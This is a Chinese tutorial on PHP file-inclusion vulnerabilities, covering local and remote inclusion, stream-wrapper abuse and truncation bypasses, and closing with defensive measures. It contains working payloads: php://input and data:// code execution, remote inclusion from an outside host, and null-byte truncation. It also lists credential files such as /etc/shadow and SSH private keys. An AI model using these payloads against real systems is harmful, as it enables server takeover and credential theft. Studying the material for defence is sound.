WEB常见漏洞之文件包含(基础原理篇)

本文涉及的产品
RDS AI 助手,专业版
RDS Agent(兼容Hermes Agent),2核4GB
RDS DuckDB + QuickBI 企业套餐,8核32GB + QuickBI 专业版
简介: WEB常见漏洞之文件包含(基础原理篇)

0x01漏洞概述


SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:

include()
require()
include_once()
require_once()

区别如下:

require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

0x02本地文件包含

一、简介

被包含的文件在服务器本地,这里演示一个最简单的文件包含,源码如下:

<?php
$filename=$_REQUEST['filename'];
include $filename;
?>

1、首先上传phpinfo代码,之后直接包含就可以完成getshell

2、使用多个../完成目录穿越,查看linux的passwd文件

./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。

一些常见的敏感信息路径:

Windows系统:

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统:

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件

二、攻击方式

上传带有shell的图片,利用包含漏洞getshell
读取文件内容,如php源代码
包含日志文件来getshell
包含 proc/self/environ 来getshell
phpinfo包含临时文件

三、伪协议文件包含

file:// 访问本地文件系统
http(s):// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入/输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
phar:// PHP归档
rar:// RAR
ogg:// 音频流

常用伪协议讲解:

1. file://
(1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。
(2)例如:file:///etc/passwd、file://key.txt
2. php://
(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。
3.phar://
(1)phar://数据流包装器自PHP5.3.0起开始有效
(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt
phar://1.zip/phpinfo.txt

伪协议利用方式总结:

可以利用data://或php://等协议来完成文件包含






php://条件:php<5.0,allow_url_include=off 能使用      php>5.0,allow_url_fopen=On 能使用例子:include.php?filename=php://input,然后在post请求中通过input把语句上传执行<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>






data://为数据流封装器,data:URI schema,利用data://进行远程代码执行思路与php://类似,都是利用php中的流将原本include的文件的文件流,将原版的include文件重定向到用户可控的数据流中。条件:allow_url_include=on,php>5.2例子:include.php?filename=data://text/plain,<?php system(id)?>base64变形:include.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==




php://filter可用于查看源码,直接包含php文件时会被解析,不能看到源码,所以需要利用filter来读取,不过需要base64编码加密后才能传输过来。例子:include.php?filename=php://filter/read=convert.base64-encode/resource=include.php

四、文件包含路径

getshell-包含日志文件

/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

网站配置文件

dedecms数据库:data/conmmon.inc.php
discuz全局:config/config_global.php
phpcms:caches/configs/database.php
phpwind:conf/database.php
wordpress:wp-config.php

系统配置文件

windows:
  C:/boot.ini //查看系统版本
  C:/Windows/System32/inetsrv/Metabase.xml //IIS配置文件
  C:/Windows/repairsam //存储系统初次安装的密码
  C:/Program Files/mysql/my.ini //mysql配置
  C:/Program Files/mysql/data/mysql/user.MYD //mysql root
  C:/Windows/php.ini //php配置信息
  C:/Winodws/my.ini //mysql配置信息
linux:
  /root/.ssh/authorized_keys
  /root/.ssh/id_rsa
  /root/.ssh/id_rsa.keystore
  /root/.ssh/known_hosts
  /etc/passwd
  /etc/shadow
  /etc/my.cnf
  /etc/httdp/conf/httpd.conf
  /root/.bash_history
  /root/.mysql_history
  /proc/self/fd[0-9]*
  /proc/mounts
  /proc/config.gz

0x03远程文件包含

被包含的文件在第三方服务器,即远程服务器上条件:php.ini需配置如下

    allow_url_fopen=on
    allow_url_include=on

    例子:include.php?file=https://maccc.top/1.txt


    注:被包含文件最好是一个txt格式

    0x04文件包含截断

    00x1 00字符截断

    简介及利用条件

    主要0x00作为ascii码中的特殊字符保留,当url中出现%00时表示读取已结束,利用条件如下:



    php < 5.3.4
    magic_quotes_gpc=off

    使用方法

    主要适用于在服务端代码里已写死后缀名(.txt),如只能传入文件名(1),当传入完整文件名(1.txt)时会发生错误,00截断就能帮助绕过这类限制完成getshell

      上传带有木马的图片 
      文件包含通过00截断访问目标图片,如 test.php?file=x.jpg%00
      使用蚁剑连接目标

      0x02 超长文件截断

      简介及利用条件

      主要利用操作系统对目录最长长度限制,利用条件如下:

      php < 5.2.8
      文件名要求:linux文件名需长于4096 winodws文件名需长于256
      

      使用方法

      将文件名命名为超过系统目录的最长长度限制


      test.php?file=x.jpg………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………

      0x03 问号截断

      简介及利用条件

      主要适用于远程包含,利用条件如下:

      php>=5.3
      allow_url_fopen=on
      allow_url_include=on

      使用方法

      在远程文件包含时在文件最后添加问号可完成截断


      test.php?file=http://192.168.0.121/x.txt?

      0x05漏洞防御

      1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;

      2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“../”;

      3.包含文件验证:验证被包含的文件是否是白名单中的一员;

      4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。

      本地文件包含漏洞涉及的函数有哪些?

      include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

      include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。

      require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

      require_once:和 require 类似,不同处在于 require_once 只导入一次

      相关实践学习
      每个IT人都想学的“Web应用上云经典架构”实战
      本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
      MySQL数据库入门学习
      本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
      目录
      相关文章
      |
      9月前
      |
      安全 测试技术 程序员
      web渗透-文件包含漏洞
      文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
      1383 79
      web渗透-文件包含漏洞
      |
      9月前
      |
      存储 安全 前端开发
      Web渗透-文件上传漏洞-上篇
      文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
      2938 1
      Web渗透-文件上传漏洞-上篇
      |
      9月前
      |
      安全 中间件 应用服务中间件
      WEB渗透-文件上传漏洞-下篇
      本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
      748 1
      |
      9月前
      |
      存储 JavaScript 安全
      Web渗透-XSS漏洞深入及xss-labs靶场实战
      XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
      2817 1
      Web渗透-XSS漏洞深入及xss-labs靶场实战
      |
      9月前
      |
      安全 程序员 数据库连接
      web渗透-CSRF漏洞
      CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
      698 0
      web渗透-CSRF漏洞
      |
      8月前
      |
      算法 Java Go
      【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
      gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
      625 4
      |
      缓存 JavaScript 前端开发
      鸿蒙5开发宝藏案例分享---Web开发优化案例分享
      本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
      |
      JavaScript 前端开发 API
      鸿蒙5开发宝藏案例分享---Web加载时延优化解析
      本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。
      |
      前端开发 JavaScript Shell
      鸿蒙5开发宝藏案例分享---Web页面内点击响应时延分析
      本文为鸿蒙开发者整理了Web性能优化的实战案例解析,结合官方文档深度扩展。内容涵盖点击响应时延核心指标(≤100ms)、性能分析工具链(如DevTools时间线、ArkUI Trace抓取)以及高频优化场景,包括递归函数优化、网络请求阻塞解决方案和setTimeout滥用问题等。同时提供进阶技巧,如首帧加速、透明动画陷阱规避及Web组件初始化加速,并通过优化前后Trace对比展示成果。最后总结了快速定位问题的方法与开发建议,助力开发者提升Web应用性能。
      |
      JSON 开发框架 自然语言处理
      【HarmonyOS Next之旅】基于ArkTS开发(三) -> 兼容JS的类Web开发(三)
      本文主要介绍了应用开发中的三大核心内容:生命周期管理、资源限定与访问以及多语言支持。在生命周期部分,详细说明了应用和页面的生命周期函数及其触发时机,帮助开发者更好地掌控应用状态变化。资源限定与访问章节,则聚焦于资源限定词的定义、命名规则及匹配逻辑,并阐述了如何通过 `$r` 引用 JS 模块内的资源。最后,多语言支持部分讲解了如何通过 JSON 文件定义多语言资源,使用 `$t` 和 `$tc` 方法实现简单格式化与单复数格式化,为全球化应用提供便利。
      381 104